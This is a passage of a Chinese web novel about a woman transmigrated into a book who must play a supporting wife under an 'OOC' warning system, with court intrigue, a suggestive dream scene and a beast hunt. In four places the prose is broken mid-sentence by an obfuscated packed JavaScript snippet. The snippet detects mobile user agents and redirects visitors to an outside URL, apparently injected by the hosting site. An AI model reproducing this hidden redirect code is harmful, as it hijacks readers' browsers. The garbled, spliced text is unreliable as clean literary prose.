“……”
被误会两次了的白月歌,只能继续撒谎给自己找补:“这是今早在靶场不小心伤到的。”
“您自己?”白厢看起来有被气笑的趋势,“您以为我是白荣?”
白月歌给了她个眼神让她不要瞎猜,将秦东羽让她为兽潮做准备,避免遇上祸事无法自保的事挑挑拣拣说了。
本意是圆谎,提到秦东羽是为证明自己的确是不小心被重剑的刀柄给伤到的。但不知是自己的描述有问题,还是白厢对秦东羽这种N过家门而不入的直男有过更深的认识。
一番解释最后换来白厢一句:“我去替您学重剑!家主抽不出身,但我肯定是会把您保护好的!”
“倒,倒也不必……”
她寻思她也妹说秦东羽逼着自己学重剑啊!
*
铜镜里的女人如云的乌发带着绸缎般的光泽,面庞白皙,唇红似血,两颊上透着薄薄的粉色,长而上扬的眉眼,让她看人时总带着些疏离的感觉。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051205|162837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
靶场上洋洋洒洒的飞雪更给她添了些裁冰剪雪的韵味。
白月歌转身,铜镜里的女人也跟着转身,将丰腴婀娜又高挑的身材在镜中展露出来。
手臂上的肌肉舒张,金线忍冬印灵的枝叶在掌心摇晃,她将弓拉满,然后看向了镜中自己身后的秦东羽。
秦东羽正扶着白月歌的肩头,在镜中指点着她的动作,辅助她记住这种感觉。
几番来回,他看到白月歌已出了几分薄汗,挂在额角鼻尖,雪落在她的眼角眉梢,很快就被呵出的热气化成了晶莹的小水珠。
如云的鬓发和高挑婀娜的身姿,无一不在昭示着她身上旺盛的生命力。
秦东羽无端地想到了白月歌的印灵——
据说印灵的形态多少会受本体的影响,所以她的确像一株凌寒未凋,越冬不死的金线忍冬。
可下一瞬,这株金线忍冬就像是突然枯萎了——
白月歌的小臂颤抖,几乎拉不开弓,没等秦东羽动手替她把控,她就再也撑不住了。
秦东羽见白月歌来不及丢下弓箭,就扶着铜镜剧烈咳嗽,听起来像是要把肺给咳出来。
等她再直起腰时,秦东羽就看见铜镜里的她唇颊苍白,好似虚弱到一阵风就能把她吹散。
秦东羽上前扶着她,发现妻子的手凉得像冰。
“病怎么又加重了?”他还记得白月歌搬去春晖药堂住的理由。
他一直以为白月歌是风寒。
按理说风寒这种小病,在身强体壮的灵君身上,三五日也该好全了,更遑论她自己就是个活死人肉白骨的木灵君。
但看样子她的病没那么简单——他眉头一紧,回想起了一些关于幽崤老家主的过往。
两人之间的气氛又冷了下来。
秦东羽那蹙着眉的样子,和反问她为什么病又加重的语气,在白月歌听起来就像是诘问,让她打从心里感到不适。
怎么女配病个三五天也要被丈夫嫌弃?
这种男人到底哪里好?
难道让原身争得命都丢了的男人,就只有颜值说得过去?
白月歌又捂着心口咳了起来,这次倒是装的。
其实练了几日,她已经完整继承了原身对弓箭的掌控,早就能做到箭无虚发。
可秦东羽仍一直要她早晨到靶场练弓箭。
白月歌被训了好些天,一直想用装病来逃脱每日天不亮被拉到靶场训练的苦日子。
她蹙眉做捧心状:“已好了许多,只是清晨寒气重的时候会咳得厉害些。”
白月歌用手帕拭去眼角因剧烈咳嗽逼出的眼泪,抬眼偷偷去看秦东羽的反应。
却见他转身去穿外衣,没有再关心她病情的意思。
酱紫色的深衣宽大,将秦东羽瘦削有力腰身全掩藏在其中,青年人的蓬勃也被深重的颜色压得冒不出头。
如果只看背影,她觉得秦东羽简直能跟二堂伯称兄道弟——白月歌看着他手臂绕后,手指艰难的系起衣带,可思绪却飞到了今后要如何绕过泽鹿苑的两个护卫的事情上。
【OOC警告!】
“……”
白月歌抬头,秦东羽的衣襟已整理好了大半。
她叹气,认命地上前接过秦东羽手中的衣角,替他仔细将衣服整理好,却听头顶的男人出声道:
“你好好修养,不必再来了。”
12. 小哑巴和小喇叭
一连三日,不用赶早起来的白月歌终于养好了精神,洗髓散副作用导致的咳嗽都好了大半。
当她打算继续猫在春晖药堂,刻意避开和秦东羽同床共枕的夜晚,系统又开始警告她不许OOC。
将公事搬到春晖药堂的她,只能在见完最后一个来复命的掌事后,踩着厚雪回了她在霖辉堂的书房,和白荣有一搭没一搭的说八卦。
“秦罡前几日喝多了酒,被媳妇赶出家门,最后来我这边对付了一晚上。”
白荣这性格,和谁都能攀上交情,秦罡能把他当朋友,白月歌一点都不意外。
但是秦罡和他媳妇的八卦,还是勾着白月歌坐直了身子。
“他媳妇?是二堂伯身边那小哑巴的姐姐?”
“对,就是上次跟您一起去善堂义诊的那个小哑巴。小哑巴这个姐姐,嘴巴伶俐得很,我们私下里都叫她小喇叭。”
“都说他娘生他俩的时候,光顾着给小喇叭长嘴,忘了还有小哑巴,”白荣说着,见白月歌望了一眼门外,随手便推开了窗户,“秦罡这小子虽然嘴上说,不想听他媳妇念叨,实际上不知道有多爱听她把自己挂嘴边。”
房内熏人的热气散了散,白月歌丢下药碾子,刚抓了把果脯盘上腿,要继续听白荣说八卦,就被系统警告,要注意仪态。
她在蒲团上盘起来的腿又乖乖跪了回去,以最优雅的坐姿听最碎的闲话。
“秦罡不经常在家,但每次回龙崖,都捎新奇玩意给小喇叭。”
这倒让白月歌感到意外。
秦罡这个NPC是秦东羽的随侍,小说把他塑造成了一个替男女主跑腿的工具人,对他的背景描写极少。
身为男女主的跑腿工具人,秦罡确实没办法留在龙崖日日陪着妻子……
“他昨晚上喝多了,嘴上跟我说是抱怨媳妇,可我越听越觉得不对劲……这不是炫耀他有媳妇我没有么?我不耐烦听,就点了颗七星宝香丸,把他迷晕了。”
迷,迷晕……?
七星宝香丸的确有安神催眠的效果——白月歌一边觉得白荣路子野,却一边把这事记在了心上。
余下白荣的话,她便听得有些心不在焉。
大抵看出了她的困倦,白荣把话也渐渐收了,取出在炭盆旁腾得热乎乎的药囊,垫在了白月歌受伤的那只手臂下。
白月歌的忍冬印灵亮起莹莹绿光,枝叶沿着掌心蔓延到手臂,一瞬间,药囊就激发出了一阵酸中带苦的药味。
时至傍晚,大雪方歇,白月歌揣着药包,看窗外的侍从清理积雪,却见去取信的白厢脸上带着笑,一溜小跑着进了居室。
“藤桥洞来得信,看印鉴是白氏家主的!”
白月歌按照人设,欢天喜地却又故作矜持地接下信,正要拆,就见白荣和白厢就勾着头,想看,碍于身份却又不敢。
“白厢,你来念。”她将拆开的信递了出去。
白厢的眼睛都亮了起来,接过信就快速地念起来。
白月歌听着,倒没听出什么重要信息,内容先是对不能来给龙崖老家主吊唁表达了歉意,然后,交待了一下白氏在什么时候到了藤桥洞,最后,询问他们夫妇是否会到藤桥洞。
通篇没提起白月歌的名字。
这哪像是哥哥给妹妹的家书,倒像是什么公文。
白月歌瞬间就对白月闻这个还没见过的NPC失去了兴趣。
大概白月闻有着妹妹一样的性格,是个情绪内敛,又爱端着架子的人?
毕竟在小说里,白月闻出场不多,人物塑造也很单一,白月歌只能从女配身死的那段剧情推测,他对妹妹的感情很深。
“看字迹,不太像家主亲笔,”白厢眼神闪躲,将信还给白月歌,“这应该是让部下代笔的。”
白月歌从女配那继承的记忆,非常零散,大多是原书中就有的部分,她看了一眼字迹,也分辨不出这笔迹究竟是否属于白月闻。
“家主对您那还用说么?这只不过是碍于礼节,明面上先送来给龙崖家主的信件。”白荣看外面的雪下大了,起身将窗阖上。
白厢坐下,偎在她身旁:“一看是白氏的信,我没分辨是家书还是公文,就赶紧拿来了——”
“无妨。”白月歌打开桌案旁专放私人信笺的匣子,准备将信丢进去,却发现匣子里原本还存着厚厚一沓书信。
信件很私密,像是会有意外发现的样子。
白月歌抱过匣子想看看,却发现白厢和白荣面色各异。
难道这都是白月闻和她的家书?
白月歌忍着怪异,拆开最上面的那封信,却看到了“夫君亲启”四个字。
这是“她”写给秦东羽,但没有来得及寄出的信?
否则本该在收信人手中的信,为什么会出现在她这?
但她又摸了摸信封边缘,被撕扯开的痕迹很明显。
白月歌耐着性子展开信笺。
这一纸信,满满都是“白月歌”对“丈夫”的溢美之词,骈四俪六,辞藻华丽。
却没什么实质性的内容,仅在最后才言之有物,问了一句归期。
白月歌正要将信塞回去,却发现背面有字。
【归期未定。】
所以男主连用一张新的信笺回信都懒得做,只在原信上用四个字,就打发了妻子洋洋洒洒一整张的夸夸信?
虽然言之无物,但骈四俪六,辞藻堆砌得如此华丽,总是要费一番工夫的,这也算是对他怀有爱意的一种具现。
他至少也要好好回信,表达对妻子的尊重
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051206|162837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
才对。
男主在白月歌心里又多了一项罪。
她放下第一封,又观察了几封信,这才发现几乎每一封信都和第一封一样。
女配先是对男主一顿夸夸,然后在结尾问归期,或是叮嘱他添衣物,而男主每次都回她一句归期未定。
如此来往的信件,粗略一看还有百来封,白月歌已经没心思再去看完。
“所有的信件都在这了?”匣子被阖上后,她又问道。
这话在白荣听来就有些难琢磨。
诚然,女郎忙起来的时候,会让他和白厢来处理信件。
可女郎和家主的信也太私密了……让他俩处理,他俩也不敢呢。
再说,女郎把她和家主的信看得很紧,除了今日,她从不当着他们的面拆开看……
但眼下被问到了,白荣只能硬着头皮说:“也不是,因为妖兽频出,有些信在路上就遗失了。”
“就没有什么更特别的?”白月歌不死心。
更特别的?
白荣一时间竟然回想起自己刚刚才说的话:
【秦罡不经常在家,但每次回龙崖,都捎新奇玩意给小喇叭。】
秦罡一向跟着家主外出,但家主似乎从未捎带过什么东西。
女郎,是在意这些的吧……
白荣有些恨自己这张嘴。
他将目光看向了认真剥核桃的白厢。
“厢啊,你也帮着处理过信件,你还记得有什么特别的吗?”
嘎嘣一声。
白月歌看见白厢手里的核桃碎成了渣。
她恍惚明白了白荣的紧张和白厢的沉默,再问下去似乎太难为他们,就随便找了个理由把他们支开。
那两人走到门口时,还忧心忡忡地回望了她一眼。
白月歌回了他俩一个笑脸。
殊不知这一笑,被这两人理解成了逞强,让他们私下里感叹,女郎真是苦幽崤与龙崖之联姻久矣……
白月歌自然不知他们的看法,等两人一走,她就抛下人设,一滩烂泥似的趴在案上,在自己的秘密备忘录上涂涂改改。
直至系统提醒她,白厢带着其余女侍正带着晚膳在靠近时,她才发现天已黑了。
秉承着食不言的规矩,白月歌端着仪态,生硬又安静地吃完了一餐。
距离就寝的还有一个时辰,可这段时间却像是被无限拉长了一样。
一想到马上要面对男主,过程还要接受系统的OOC监视,白月歌的不适和紧张也在无形中放大。
等挨过了更衣,净面,卸钗环等等繁琐的就寝仪式。
白月歌也没等到秦东羽出现。
她躺在那张属于她却好像又不属于她的床。
等一个陌生人的来访。
13. ……
睡意沉沉间,白月歌感到身边的床榻向下一陷,手指上锁灵戒被取下,随后就有一具灼热的身体缠绕着她的肢体,不容拒绝地将自己贴了上去。
热浪熏人。
精神对身体的掌控无形中被削弱。
此前那种让她甘愿扑向火焰,将自己躯体当作燃料燃尽的怪异欲望又控制了她的身体。
白月歌无意识间已经配合这热潮的侵袭,无私地将身体敞开,迎纳这股热源的注入。
她那只被摘下锁灵戒的手心接触到了一片柔软的羽毛,羽毛虽烫得可怕,可掌心的印灵却痴迷于这种热烫下的柔软触感,紧跟着抚了上去。
印灵相贴的一瞬间,灵印领域也被人侵入。她发觉自己的领域也因印灵共鸣而变得混乱无序。
领域中的天空飘如以往一般飘着落雪,而地面却溢满滚烫熔岩,扎根土地上的忍冬印灵毫无所觉,枝桠在热浪中摇曳,叶片大敞,令刚长出的嫩芽失去遮蔽,暴露在蒸腾的热气中。
领域外,在异常的高温炙烤下,白月歌体表的□□来不及分泌,就被蒸腾得干净。
她只能闭上眼睛,紧抿唇瓣,将身体各处蜷缩起来,来抵抗热浪致使的失水。
而领域中传来一声鸟类的轻吟,随后一只重明鸟逦迤而至,比此前在秦南徵领域中见到得那只,色泽更暗上一些。
鸟身后如火焰般亮眼的尾羽扬起,熟练地拨开忍冬印灵的枝叶,伸入其中,挑弄着藏在深处的嫩芽。
白月歌集中精神死命推拒。
此时,脑海中突然响起系统尖锐的提示音:
【检测到宿主严重OOC!与设定目标相悖,宿主任务偏离!宿主原世界时间流速翻倍!】
“不!”
她猛得翻身,不再抵抗入侵,伸手去抱身侧的男主——
摸到地地方却空无一物。
白月歌在惊惶中睁开眼,才发觉刚才不过是一场梦。
秦东羽根本就没有出现,梦中系统的规则是错的,她也不会真的被判定任务偏离。
在她被系统抓取强制穿书时,就被告知过穿书规则。
想回到原世界,最躺平的方式,就是宿主扮演被选中的角色,角色下线后,宿主就能获得回到原世界的钥匙,但扮演的过程中,宿主不能干预剧情的发展,人物不能OOC。
当然系统还提供了其他回家的方式,但作为一个被迫穿到自己讨厌小说中的宿主,白月歌初期的诸多负面情绪,令她只想躺平摆烂。
让她迎合男性纸片人,刷满他们的好感值,靠成为万人迷娇妻获取钥匙;
或是主动刷满自身的各种数值,靠成为大女主获取钥匙——
对她而言,这两种途径和躺平相比,主动性和难度要求太高,她完全不会选。
不过还得是系统全面,它还为爱自由探索的欧皇宿主设定了另一种回家方式。
宿主只需要在书中世界找寻到钥匙NPC,靠触发他身上的彩蛋,就能获取能略过剧情直接回家的钥匙。
最早的时候,白月歌不觉得自己会有找到钥匙NPC的好运气,所以一开始,她就将系统的主线任务设定成了最适合躺平的【女配决不OOC】。
但后来在灵堂上,她有幸看到了钥匙,只以为回家近在眼前,却被系统在彩蛋数量上坑害了一把。
于是就出现了如今她白天走剧情当苦逼女配,晚上换个身份当贼去摸彩蛋NPC的局面。
白月歌自黑暗中从床上一坐起,一旁的火液灯就自发燃了起来,屋内亮起了光,白月歌看了眼香漏,此时距离天亮还有两个多时辰。
如先前那天一般,她房间不小的动静很快就被白厢察觉到了,这份警觉,有时候会让白月歌以为她晚上似乎不用睡觉。
那姑娘掌心托着灵印灯,在门外低声问她,是不是在担心家主为何未归。
本想用起身喝水搪塞过去的白月歌顿住,思前想后,最终按照人设应声说是。
白厢似乎也在斟酌着什么,她隔着门停当了一会儿,白月歌才听到回话:“家主带人处理陀山道阵法遗漏的兽鸟去了——”
意思是今晚不会赶回来了。
得知这样的消息,白月歌心里松了口气,挥手让白厢回去。
却一转身就吞了两倍的换骨洗髓散,待药效一起,她就轻手轻脚走窗户出去,到药堂换了夜行衣,带着药囊奔往泽鹿苑。
到泽鹿苑时,外面那两个族卫正打圈绕着巡逻,白月歌熟练地跳上后院墙头,锅着腰静静待了会儿,确定不会被发现,也不会和真正来给秦南徵疗伤的小哑巴撞上,这才放心地潜入院子。
她悄悄推门,还未进入房间,就对上了一双外圈泛着暗金色的瞳孔,像是被猛禽盯上了。
“我以为小郎君已经睡下了——”白月歌错开身子进了房间,心却仍在因看到了一双那样的眼睛而怦怦跳。
秦南徵默默地在她身后将门关上:“我睡得浅。”
而后又好似解释般补了一句:“在域外待久了。”
这话,让白月歌想起不久前的情节,少年被秦东羽派去藤桥洞,狠吃了一番苦头,才脱身回到龙崖。
白月歌借着月光走近,才看到了那张整洁到不像有人在上面睡过的床榻。她虽心里怀疑少年没睡,却没戳破。
或许是洗髓散吃得太多,她还没解下药囊为少年解毒疗伤,喉间传来的一阵痛痒,逼得她扶着博古架捂着口鼻压抑地咳嗽起来,好一会儿才止住。
“见笑了。”白月歌一边将脸又遮得严实了些,一边在炭盆中倒上火液。
等屋内被烧得暖暖和和,约摸着药囊里的药已经化开,她才动手把药配好。
“这下不冷了,”白月歌站在少年身后,踮起脚想扯下他的外衫,却被少年躲了过去。
“……”
早就被看完了,怎么这会儿还别扭上了。
白月歌难免心急,毕竟她的彩蛋的任务已经好多天没做了。
却见少年的耳廓已然红透了,揪着衣领的手指腹也已泛白。
可他言行间仍装得泰然自若:“我自己来。”
少年脱下外衣,一时陷入沉思。
他有些不明白,自己的紧张从何而来。
外衫一寸寸褪下,白月歌等不及上药,就将手贴在了秦南徵劲瘦又热烫地后腰。
少年腰肢上的肌肉颤栗,明显是被她掌心冰凉的温度激起的寒颤,但掌下之人却硬生生忍住了想逃离的欲望。
白月歌沉浸在又摸到彩蛋的开心中,也就没意识到秦南徵的异样。
她留下的评论如期出现:【作者食屎啦?在
作者有话说里带头嗑秦氏兄弟的男男CP……】
早前,她这条评论底下简直神仙打架,有说自己也很嗑的,有骂在BG里搞BL太恶心的,有KY影视化后让哪个明星来演的,还有说让他们四个人都在一起的……
一片腥风血雨。
【今日彩蛋触发[1/1]已完成。】
“呼——”白月歌如释重负地撒手,“看起来还可以。”
她在摸彩蛋的时候,大概看了看秦南徵的伤,其实余毒不剩多少,不用药也能靠美强惨男二强大的自愈力痊愈掉。
她本想逃懒不给秦南徵上药,告诉他伤已经好了,让他自己把外衫穿上,可话到口边,她却突然想起一点,如果自己告诉他伤好了,之后她还怎么找理由让他脱衣服给自己摸彩蛋!
秦南徵的耳廓仍红得能滴血,他侧过身准备将外衫披上,却被白月歌捉住了手。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051207|162837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“咳咳!”白月歌又拿出药,“等等!外伤看着是好些了,但还有些内毒未清。”
秦南徵想起小哑巴昨夜言简意赅的医嘱,对白月歌的医术更信服了几分。
“哑奴也是这么说的。”
说?
白月歌转身就愣在了原地。
小哑巴说?
所以,上次她表示自己和小哑巴没有交流时,秦南徵才会面色怪异?
白月歌不敢保证这是他的口误,还是刻意为之,只能用忙碌来掩饰自己在信息上的不对等。
“时辰不早了,我尽快为小郎君涂药。我明日再来。小郎君可不要熄了炭盆,到时又要等屋里烧热了才能上药。”
秦南徵侧过身,给她展示颈侧燃着火光的重明鸟印灵:“与木灵君不同,我并不畏寒。”
“……”怎么装装的呢。
“听人劝,吃饱饭,这是必要的,”白月歌将手套戴得更严密了些,“小郎君不该质疑我的医术。”
少年颈侧的重明鸟听到白月歌不软不硬地呛了自己的主人,慵懒地睁开了眼睛,像是刚睡醒。
它灵活华丽的尾羽从主人颈侧的肌肤上探出来,朝着白月歌的方向摇晃,随即又缩回去,像是在逗弄小猫。
实则却是无声的邀约,希望她像上次一样到自己的印灵领域——白月歌自然不懂。
但印灵之间似乎有自己的特殊感知,白月歌的一向温顺的忍冬印灵,罕见地在她掌心微微摇动枝叶。
像是在回应那只重明鸟,无名指上的锁灵戒也变得滚烫。
白月歌捂紧了手套,安抚印灵冷静下来,就在秦南徵不解地目光中逃跑似的迅速离开了泽鹿苑。
*
秦东羽不在龙崖,走之前也没给妻子留下只言片语。
白月歌有一种老虎不在家,猴子称霸王的感觉,本以为没了男主的监控,她会自在几天,却在清晨一醒来,就被告知家臣们已在东石台等候她。
秦东羽离开前,留话让她来掌家。
白月歌不明白,这样重要又紧急的事,为什么今早上才告诉她。
是有什么难以决断的事非她不可?还是不得已而为之?
但按照女配的人设,白月歌没露出哪怕一点的焦急,反倒让白厢替她准备了一整套的装束,端坐镜前,一件件穿戴上——哪怕不用早膳饿着肚子。
也务必保证接下来她能在人前姿态完美,言行妥帖。
东石台坐落在龙崖的主殿群中央,是历任秦氏家主的议事堂。白月歌穿着宝蓝的广袖褶衣,醋红的破裙上用金线织就的重明鸟华贵端庄,裙角的草绿色缘边绣着暗色的双叶忍冬。
缘边的忍冬随着白月歌如尺度般的步子,在高台之上前后摆动。
东石台内等候着的家臣,神情各有不同,就这么看着她稳稳坐在了秦东羽位子上。
女配一嫁入秦氏,就掌管了龙崖女主人该有的权力,经过两年的经营,她已然能在家臣面前挺直腰。
再者,女配嫁入龙崖前,在联兵的青翼营中效命,是真正到域外猎杀过妖兽的木灵君——她本身就是个令人钦佩的优秀之人。
故而,即便秦氏中有些辈分大的家臣,对秦东羽的决定不满,却也没当面给白月歌不痛快。
但这并不妨碍他们在一些模棱两可的责任上装傻,疲于应对她这位年轻的夫人。
穿书前,就在职场被毒打了许多年的白月歌,正襟危坐听家臣议论了片刻,就大概明白到底发生了什么。
昨夜子时,一只木傀在龙崖以西的村落发现了少量妖化禽鸟的粪便。
接到木傀警示的龙崖族卫,随即赶去截杀这一小股妖兽。
可一夜过去了,这队人下落不明,第二次被派去搜寻的人也音讯全无。
14. 没人敢提的名字
下落不明意味着什么,在座这些不知去过域外多少次的家臣,再明白不过了。
他们若是能利落得死掉,或是被瘴气催化成妖兽彻底丧失人性,都尚且算得上幸运。
若是不慎被瘴气入体太久,印灵被瘴气吃掉,哪怕能被救回来,后半辈子也得日日活在瘴气缠身的痛苦里。
死两队人,在这样的乱世实在倒算不上惊世骇俗。
可问题出在了被派去搜寻的第二队人马。
这队人是秦东羽麾下的精锐,个个都是在化平兽潮中活下来的厉害角色。
如果连他们在遇险前都来不及放出木傀来求救,就只能说明那里的情况已经像域外那样糟了。
可龙崖的族卫和联兵倾巢而出,都随家主去了形式更为糟糕的陀山道,唯一留下应对异变的精锐还下落不明。
余下留守的人,再没有比他们更强的了。
或许是有的,只是没人敢提起他的名字。
此时,急需一个能扛得起后果,又在名义上能镇得住场的背锅侠。
而这个最佳人选,就是她!
白月歌知道,他们在等自己做决定。
这些家臣都面带殷切地的看着她,仿佛她只要顺着他们的意思,说出那个名字,他们就立刻拱手高呼“夫人大义”,然后将秦南徵从泽鹿苑捞出来,去镇杀龙崖以西的妖兽。
白月歌耳边尽是他们的喋喋不休。
“那附近住着的,多数是菜人——死些菜人倒是无所谓。”
“怕就怕那些菜人短时间内被瘴气催得兽化,再将瘴气扩散开。”
“夫人是圣阶木灵君,自然能轻易化解瘴气,可也得有其他的圣阶灵君为她护法!”
谁不知道龙崖如今只剩秦南徵这一个圣阶火灵君。
白月歌余光扫过二堂伯。
老者将自己掩饰得很好,他同四堂叔站在一处。
两人不像其他其他的家臣那样浮躁,将什么都写在脸上。
白月歌猜不出他的意图,更不知道自己该不该做出决定。
眼下发生的突变,是小说中未提及的情节。她不知道自己随便做出的决定,会不会影响以后的剧情。
她曾经遇到相同的情况,也尝试过主动问系统,让它给出一些剧情提示。
但绿江的系统只会在判断她出现了违禁行为的时候,对她发出疯狂警告。
这破系统跟它的App一样,压根没设计双向交互的模块。
如果要把绿江比作什么,那它一定是个无情道老修士,禁欲,复古,并且脖子以下都遮得严严实实。
唉……
骂归骂,任务还得做。
白月歌紧闭着眼,尝试集中精力再次唤醒系统。
但她这副闭眼的神情,被场下的家臣们解读成她想装傻,不管这事。
家臣面面相觑后,噗噗咚咚一片响,都跪在了地上,除了辈分大的那两位叔伯。
白月歌扶额叹气,一向活跃的系统此刻就像是关了机。
可眼下被这群纸片人逼到了这个份上,指望系统来给她提示后再做决定,显然会有OOC的风险。
她忍不住开始联想,如果女配“白月歌”陷入到这种两难,她会怎么做?
一个被从小教导‘菜人也是人’的女配,必然不会视人命如草芥。
一个曾加入青翼营,在域外解决妖兽威胁的女配,也必然不会惧怕危险。
“让人将秦南徵带来。”
脱口而出的决定,让她无端地感到轻松。
她看到场下的家臣们也松了口气,立刻吩咐跑腿的族卫去带秦南徵过来。
可他们只想着有白月歌来当背锅侠,就万事大吉,却忘记秦南徵再不是那个能轻易相信他们的少年了。
这柄锋利又好用的刀被轻贱久了,早已生出了自己的想法。
秦南徵是躺在肩舆上被人带到东石台的。
他的伤好没好,白月歌很清楚。
可哪怕伤早已好了,他也仍装作伤重未愈,来拒绝他们的驱使。
少年满身是刺,即便靠在肩舆上装成奄奄一息的样子,那头颅也昂得有几分傲气。
白月歌对上了他讥讽的目光,而他颈侧的重明鸟甚至伸出头冲着他们吐口水。
“……”
印灵没有一点奄奄一息的样子!装得太假了!
这时,才有家臣想起,自己此前让人在祠堂鞭打秦南徵时,用得鞭子上淬了剧毒。
白月歌无比痛恨自己这替人尴尬的毛病,她端着仪态,挥挥手让族卫再将秦南徵送回泽鹿苑后,才沉声命令:
“二堂伯四堂叔留守龙崖。”
“其余龙崖所有地阶以上,在四世家联兵中记录过名字的灵君,按印灵,在东石台外列阵,一个时辰后出发猎杀妖兽。”
场下的家臣大都是圣阶之下地阶之上的灵君,自然全在白月歌点兵的范围内。
他们提出将秦南徵推出去的本意是不想去危险之地送死。
可到头来,却因用下毒的鞭子重伤了秦南徵,阴差阳错还是把自己搭了进去。
白月歌看着家臣们青青绿绿的脸,只觉得讽刺无比。
这样的人会在老家主死后,立刻倒向羽翼更丰满的秦东羽,倒也不足为奇。
*
一个时辰后,白月歌窄袖圆领戎装在身,腰间蹀躞带上悬挂着短剑药囊,身后背着长弓,英姿飒爽地骑跨在青翼鸟身上。
青翼鸟振翅高吟,白月歌手腕上的缰绳一紧,一人一鸟从几十个灵君的头顶低空掠过,随后稳稳落地。
身姿干净利落,又不失美感,她一出场,就令所有联兵的目光紧紧追随——这可是活死人肉白骨的圣阶木灵君。
如果染上瘴气,能被圣阶木灵君驱散医治,不仅不会留下后遗症,甚至还能去除掉身上的沉疴宿疾。
虽说这次清剿妖兽的行动无比危险,但如果受伤后能得她一丝医治,也真的是赚到了。
一时间年轻联兵看向她的目光都热切了起来。
白月歌大大方方地站在联兵中央,同有经验的家臣联兵部署阵法,这些人的热切和服从超出了想象。
她忍不住怀疑,系统是不是给她开了金手指。
万众瞩目之下被人认可,她承认,这种strong的感觉的确很爽。
任务派发完毕。联兵中,仅剩的一位峪清出身的金灵君,领着数十个带着牵丝线的木傀,催动印灵将它们朝着不同方向派出去。
白厢和白荣带着三个会使剑的木灵君随联兵出动,其余没有自保能力的木灵君都跟随在白月歌身后,由五个天阶的火灵君家臣保护着。
逐渐接近事发地点,白雾似的瘴气也越来越浓,白月歌感
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051208|162837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
受到鼻腔中充斥着血腥味和鸟类粪便的骚臭,她的印灵自掌心生出了犹如实质的长长藤蔓,向着四面八方游走,金色的花丝将花粉扬洒在空中,霎时间瘴气被驱散了大半。
此后,白月歌就一直维持着驱散瘴气的术法,一路上并未遇到什么妖兽,直到看见了一个刻着‘姜菜庄’字样的石碑。
木傀的牵丝线显示此处已经没有活人,也没有妖兽活动的痕迹,众人紧绷的神经难免松懈。
可白月歌放出去的藤蔓却感知到高处有妖兽携带的浓烈瘴气。
“传话让他们警戒高处!”她话还未说完。
远处就传来刀剑出鞘的铮鸣,和一些联兵戍卫长的大喊:“在天上!土灵君结阵,木灵君驱散!快!”
四下一片哀嚎和血光。
她亲眼看到,刚刚还热切注视着她的一个年轻联兵,被从高处俯冲偷袭的带翼妖兽,将手心啄了个对穿,瞬间,鲜血挥洒一地,让那尝到了灵君血肉之鲜甜的妖兽,更加疯狂地追击——
他周围能脱开手的联兵,都尽力地帮他,可妖兽死咬不放。
他的同袍明明什么都做了,可他还是逐渐被妖兽攻击得快要死去。
白月歌看向自己身侧保护自己的家臣,他们身为天阶火灵君,却毫无伸出援手的意思。
似乎除了保护她意外,其余都与他们不相干。
一股愤恨从心底涌上来,让她甚至忘了那联兵只是书中的纸片人。
白月歌依据肌肉记忆,将弓拉满,迅速射杀了那只看不出种类的带翼妖兽,救下了这位联兵。
还未突破天阶的妖兽,身为圣阶的她可以直接解决。
可这只带翼妖兽死前发出一声惨叫,像是打开了潘多拉的盒子,源源不断的地阶妖兽,从四面八方包围了过来。
白月歌在妖兽之中看到了一些没有尾巴,也毫无毛发,行动如人一样的存在。
但它们已经不能再被称之为人。
这些怪异的东西,一张口就吐出带着尖锐倒刺的长舌,缠在一个不知何时死去的联兵脖子上,贪婪地吸食血液,将印灵从躯体上剥离吞吃掉,口中发出咕噜咕噜地声音和话语。
“好吃好吃好吃还要还要还要!”
被瘴气污染化妖的人咀嚼完毕,舌头上的敏锐味蕾捕捉到了白月歌印灵的强大生机,突破重围,朝着她就冲了过来!
此时,那五个天阶火灵君才拔剑同这人形的妖兽拼杀,通过阵法共鸣,将白月歌和所有木灵君围在其中。
五个天阶火灵君合力,才堪堪守住了防线,将所有被化妖的人斩杀殆尽。
